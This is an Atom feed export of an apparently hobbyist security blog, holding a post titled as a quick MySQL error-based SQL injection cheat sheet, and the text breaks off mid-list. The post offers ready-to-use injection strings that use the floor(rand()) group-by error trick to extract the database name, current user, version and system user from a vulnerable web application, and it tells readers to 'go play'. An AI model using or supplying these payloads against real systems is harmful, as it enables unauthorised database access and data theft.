<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:georss='http://www.georss.org/georss' xmlns:gd='http://schemas.google.com/g/2005' xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-1567338316386950986</id><updated>2012-02-08T10:15:43.395+05:30</updated><category term='BackTrack 4'/><category term='BSNL 3G'/><title type='text'>#&gt;_HACK SAFE</title><subtitle type='html'>Network Security | Web Application Security | Code Security</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='http://hacksafe.blogspot.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1567338316386950986/posts/default?max-results=100'/><link rel='alternate' type='text/html' href='http://hacksafe.blogspot.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Nishant</name><uri>http://www.blogger.com/profile/17562587307055540092</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>12</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>100</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-1567338316386950986.post-4191565560837918501</id><published>2010-10-19T13:20:00.009+05:30</published><updated>2012-01-20T13:34:20.028+05:30</updated><title type='text'>Quick &amp; Dirty MySQL (Error Based) SQLi CheatSheet</title><content type='html'>&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; line-height: 18px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="display: inline !important;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;So, you have a web application vulnerable to Blind SQL Injection (test the param with single quote ' ) and you need dirty &amp;amp; quick cheats to dig deeper.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;Note:&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="display: inline !important; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;The data is fetched using a &lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;&lt;b&gt;Hex()&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; and a type casting with the &lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;&lt;b&gt;cast()&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; to make the query reliable and avoid bad characters and format strings issue (for example 0x00 as the last byte of every data fetched.) These payloads heavily rely on the &lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;&lt;b&gt;information_schem&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;&lt;b&gt;a&lt;/b&gt;&lt;/span&gt;&lt;/span&gt; database. So if you don't get the desired result, it just means that the remote database server doesn't have it.&lt;/span&gt;&lt;span class="Apple-style-span" style="font-weight: 900;"&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="display: inline !important;"&gt;&lt;span style="font-family: 'Trebuchet MS', sans-serif; font-size: medium;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal" style="display: inline !important; margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-weight: 900;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;div class="MsoNormal" style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif; font-size: medium; font-weight: normal;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;div class="MsoNormal" style="display: inline !important;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;These payloads are only crafted for &lt;b&gt;&lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;Error-based MySQL Injections&lt;/span&gt;&lt;/span&gt;&lt;/b&gt; using &lt;span class="Apple-style-span" style="color: red;"&gt;&lt;span class="Apple-style-span" style="background-color: yellow;"&gt;&lt;b&gt;String type parameters&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;. If you know what I'm talking about, go play! &amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;div class="MsoNormal" style="margin-bottom: 0px; margin-left: 0px; margin-right: 0px; margin-top: 0px;"&gt;&lt;span class="Apple-style-span" style="font-weight: normal;"&gt;&lt;span class="Apple-style-span" style="font-size: medium;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;No more crap, straight to the point.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;div class="MsoNormal"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;span class="Apple-style-span" style="line-height: 18px;"&gt;&lt;b&gt;&lt;span class="Apple-style-span" style="font-family: Arial; font-size: small;"&gt;&lt;span class="Apple-style-span" style="font-size: 13px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1. To test blind injection&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;' and 'x'='x&lt;/span&gt;&lt;/span&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;2. To select the current database (Output will be in Hexadecimal, decode to ASCII&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;3. To find the current user&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;4. To find MySQL Version&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(version() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;5. Find current database&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(database() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;6. To find the system user&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;1' and(select 1 from(select count(*),concat((select (select concat(0x7e,0x27,Hex(cast(system_user() as char)),0x27,0x7e)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and '1'='1&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;b&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;7. To find the hostname&lt;o:p&gt;&lt;/o:p&gt;&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div class="MsoNormal"&gt;&lt;span style="line-height: 115%;"&gt;&lt;span class="Apple-style-span" style="font-family: 'Trebuchet MS', sans-serif;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div 